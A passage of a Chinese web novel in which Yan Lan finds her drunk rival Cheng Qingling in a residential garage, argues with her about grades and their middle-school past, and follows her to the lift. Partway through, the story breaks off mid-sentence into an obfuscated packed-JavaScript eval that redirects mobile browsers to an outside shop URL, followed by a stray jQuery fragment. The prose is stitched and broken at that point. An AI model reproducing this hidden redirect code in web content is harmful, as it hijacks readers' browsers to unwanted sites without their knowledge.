闫蓝停下脚,嘴里的烤肠还在嘴里,嚼也不是,吞也不是。
怎么这么点背,又偷听到程轻灵打电话了。
她小声挪至柱子后面,默默嚼着烤肠。
算了,等这大小姐走了再进去吧,她可不想再被当成泄愤的对象。
自从知道程轻灵也搬来这个小区后,俩人倒是基本上没碰过面。
高傲如她竟然是一个人住在这的?
难怪每天凶巴巴的。
流油的烤肠完全下肚,那边早已没了动静。闫蓝看着自己手上还残留着的烤油,轻嗤一声:“叫你不带纸。”
那油迹一点点朝着袖口蔓延。
她心下一横,算了,被骂就被骂吧,就当是做日行一善了。
闫蓝缓缓探出头,电梯厅内明亮如新,但并没有预想中少女原地而立的场景,反而空荡荡的。
人呢?她脚步加快,临近玻璃门,这才看清高傲的人并没走,只是瘫坐在了地上。
搞什么!!!
闫蓝顾不得满手的油,赶忙跑了过去。
以往高傲冷艳的程轻灵,此刻完全不顾形象地坐在墙边,脑袋歪斜着靠着墙,双眼闭着,像是睡着了。
她的双手垂在身侧,左手握着敲击过后瘪了个角的手机,右手抓着一罐啤酒。
就醉了?
酒量一般啊。
闫蓝蹲下身,凑近一些,举起一根手指探入她鼻下。
温热的鼻息噗在手指上,嗯,还活着。
她环视一周,这里连个人影也没有,何况地下室本就冷,这么睡下去也不是个事。
“喂,程轻灵,醒醒!这里不让睡觉。”她推了推她的手臂。
对方哼了一声,偏过头继续睡着,半点没有要醒的意思。
闫蓝咬咬牙,干脆伸手捏住她的鼻子。
“什么味道……”程轻灵眉头紧蹙,嫌弃地推开被挡住呼吸的手,偏过头,眼睛还闭着。
闫蓝又将手在她鼻前挥动了几下,程轻灵这才极度不耐烦地睁开一条缝,随即猛地睁大:“闫蓝?!你怎么在这?!”眼底的迷蒙也瞬间变得清醒。
“我回家。”闫蓝暗呼一口气,无所谓地站起身,指了指感应门上的楼栋牌,“巧了,你也住这?”
“我——”程轻灵怒视着她,本想说“我才不会和你住一栋,你是不是眼瞎走错了道?”可目光扫过那楼栋牌上的字,是“十二”而不是“二十”后,她别开眼,漠然闭上了嘴。
好吧,是她眼瞎。
程轻灵沉默地站起身,整理了下衣服,想往门外拐。
可刚走两步,又停住脚。
“车库又不是你家,你管我。”说完又靠着另一堵墙坐了下去。
闫蓝:……
喝醉了的程轻灵,比清醒的程轻灵更欠。
闫蓝不禁仰头翻了个白眼。
要不是大过年的,她才懒得管这种烂醉如泥的人。
“对了,程轻灵,你期末多少名?”看着快要再次睡着的人,闫蓝问。
这话果然比醒酒药更有效,程轻灵瞬间睁开眼。
“166。”
还挺稳的。
闫蓝瘪了瘪嘴:“好险,差一点就追上我了。”
话音一落,程轻灵猛地站起身,脸上像是被乌云骤临,瞬间阴沉。
她不再看闫蓝,也不再呛声,像是被什么东西狠狠砸了一下,只攥着手机,头也不回地朝车库深处走去。
早知道成绩这么有用,就该早点刺激她。
闫蓝弯腰捡起留在地上那只啤酒罐,扔进垃圾桶,也跟了出去。
酒后出事的概率大,又是在车库——她可不想担什么责任。
好在程轻灵虽然怒气冲冲,但被酒精拖慢了脚步,走得并不快。闫蓝跟在她身后,看着她一栋一栋地辨认单元楼门牌,却什么也没找到。
十多分钟过去后,程轻灵仍旧像个喝醉的无头苍蝇缓慢前行。
几步后,她泄气地靠在一根车位柱子旁,轻轻喘气。
跟在她身后不过两三米的闫蓝,也感觉自己这刚退烧的身体,怕是没法再跟她继续耗下去了。
“要不给你室友打电话吧?让她来接你。”闫蓝斟酌了好一会才开口,程轻灵铁定不愿意透露自己住在哪一栋的,反正她有室友,让她下来把人领回去,也免得自己这病体跟着耗。
话音刚落,程轻灵抬起头,看向她的眼神里带着几分怒气、几分嫌弃、几分可笑,像是在看一个傻子。
“我一个人住。”她说。
闫蓝摸了摸自己越来越热的额头,实在是有点撑不住了,干脆坦白:“就——咱们学校的、女生、成绩挺好……你不是还要和她一起过年吗?”
她越说,程轻灵的脸色越是古怪。
“把偷听的话当做真话,你是不是有病?”程轻灵靠着墙,翻了个白眼。
闫蓝:……
好吧,听她说得那么自然,还以为真有另一个华实的女生住同一个小区呢。
“下午高烧,才退。”闫蓝无语地摊摊手。
程轻灵再次抬起眼,迷蒙的眼眯着,努力地看过去——那个讨人厌的此刻裹得像只熊、手里提着难闻的小吃、脸色泛白,看起来是不太舒服的样子。
过了几秒,她眼里闪过一丝复杂,但面上仍是满满的嫌弃。
“我住这栋。”程轻灵指着身后的楼栋感应门,“你走吧。”
闫蓝:……
要不是你刚刚走进去又出来,我就信了。
“你放心,我本就没兴趣知道你家住哪……”她也找了根柱子靠着,又拆开面包啃了一口,缓了一会接着说道,“但不把你送到家,我又感觉自己在欺负醉酒的人,很矛盾你知道吧?”
“我需要你送?!”程轻灵张了张嘴,还想再呛几句,却发觉脑袋有些发晕,只得狼狈地收回眼,盯向地面。
早知道不喝酒了,影响发挥。
“你有这力气,赶紧说住哪栋,别耽误我回家睡觉。”两口面包下肚,闫蓝感觉恢复了些力气,又朝着程轻灵方向走了两步。
快到程轻灵跟前时,她脚步加快,竟没留心脚下一处台阶。
“X!”一个踉跄扑到了程轻灵蹲着的墙边,然后顺着墙根蹲了下来。
“干嘛,碰瓷啊。”程轻灵腾地抬起头。她看着离自己极近的女生,嫌弃地想要立马跑开,但脑袋发沉,竟然只能靠放狠话撑着。
服了!
她此刻只恨自己为什么要喝酒,不然也不会到现在只能放放狠话。
就这样,两个都身体都不太利索的女生,就这么在半夜无人的地下车库,靠着一根柱子,被迫地蹲在一排。
一时无话,只剩面包咀嚼的声音。
闫蓝又咬了一口面包,递给程轻灵:“你要不要垫垫肚子?”
程轻灵看了一眼,飞快偏过头,嫌弃得毫不掩饰。
闫蓝从临近地楼栋感应门的玻璃反光上,看着两人的姿势——缩着身子蹲在墙角,衣衫不整,活像是两个无家可归的流浪人员。
“哈哈……”她想大笑,笑了两声却又呼吸急促起来,赶紧抚抚胸口,“现在要是出现一条狗,都能把咱俩KO掉。”
程轻灵懒得搭话,只咬着牙尽量让自己挪远点
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17960328|208916||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
。
“你家住二十栋吧?”闫蓝突然说道。
程轻灵没有答,但她面色僵了一瞬。
闫蓝能看得出,自己猜对了。
“十二和二十,是挺像。你这一路走来,除了十栋和每栋二单元,其他楼栋全都略过……”闫蓝自顾自地分析着,“喽,朝前走,到‘出口’指示牌,再右拐十多米,就是二十栋了。”
说完,她抬手朝前方指了指。
程轻灵移过眼。她右手撑着柱子,咬牙用力,总算站起身。
“你知道我为什么讨厌你么?”她居高临下地看着闫蓝,“你从初中时,就这么自以为是。”
说完,忍着满脑子的恶心感,一步一趔地朝着前方走去。
快到出口指示牌拐弯处时,一阵不快不慢地步伐像苍蝇一般出现在她身后。
程轻灵觉得自己脑袋突突地跳。
还有完没完。
“不是吧。”闫蓝的声音和关东煮的辣油味一道从后面幽幽飘过来,“你讨厌我,难道不是因为我初中时,比你强?”
空旷的地下室像一口巨大的回声井,话音弹到墙壁上又折回来,嗡嗡地震得程轻灵耳朵发胀。
“你也好意思提初中?”她停住脚,眉毛拧到最紧,目光里满是鄙夷,“雷老师恐怕也想不到,她引以为傲的学生,到了高中会自甘堕落成垃圾……”
垃圾?
说她是垃圾有点过分了啊!
不就是成绩,比之前差了点么。
但这语气听得怎么这么别扭。像是嘲讽又带着点可惜,像是嫌弃又带着些……怒而不争。
闫蓝摁了摁自己发晕的脑袋。
以前也有一个人,向她说过类似的话——陈以嘉!
不会吧!
闫蓝脑袋一个激灵:“难道,你初中时老针对我……是想和我做朋友?”
这话比肯定比排名还扎人,但看着程轻灵这副浑身欠揍的样子,实在是忍不住恶心她。
果然,话音刚落,程轻灵脸色更臭了。
“滚开,别跟着我。”
说完,像是怕再和她沾上一点边,步伐加快,朝电梯间走去。
电梯间内比车库内暖和不少,程轻灵轻轻扯开领口,让自己呼吸得顺畅了一些。
她用力地摁下电梯键。
下一秒,冷调的金属电梯门打开,程轻灵沉默的走了进去。
电梯门机械的女声响起:“尊敬的业主您好,电梯即将关闭,请远离电梯门。”
电梯门缓缓合拢,程轻灵低沉的脸映照在电梯门上。
这时,一只手突然挡住了最后的缝隙,横插进来。
程轻灵:……
她停在关闭按键上的手顿了一下,下一秒,电梯门幽幽敞开。
裹得像熊一样的人咬着她那难吃的关东煮,又阴魂不散地挪了进来。
“等等!我也要坐电梯上去。”闫蓝靠着内壁,又嚼了一口关东煮,“大半夜一个人在地库走,有点可怕。”
程轻灵深吸一口气,懒得搭理她。
闫蓝在一楼电梯间,看着那电梯直升至顶楼。她将最后一颗丸子吞下,转身走向十二栋。
大门关闭,玄关内的暖气铺面而来,她感觉脑袋越来越晕了。
早知道就该饿着!大晚上的还溜出门,又烧了吧!
她摸着明显发烫的额头吐槽了几声,却又懒得再量体温,便在边柜上摆着的各种感冒药中,随便挑了一盒顺眼的服下。
然后挺着千斤重的眼皮,撑着走上楼梯,回到房间。
外套一把脱下,胡乱地钻进被子,沉沉睡去。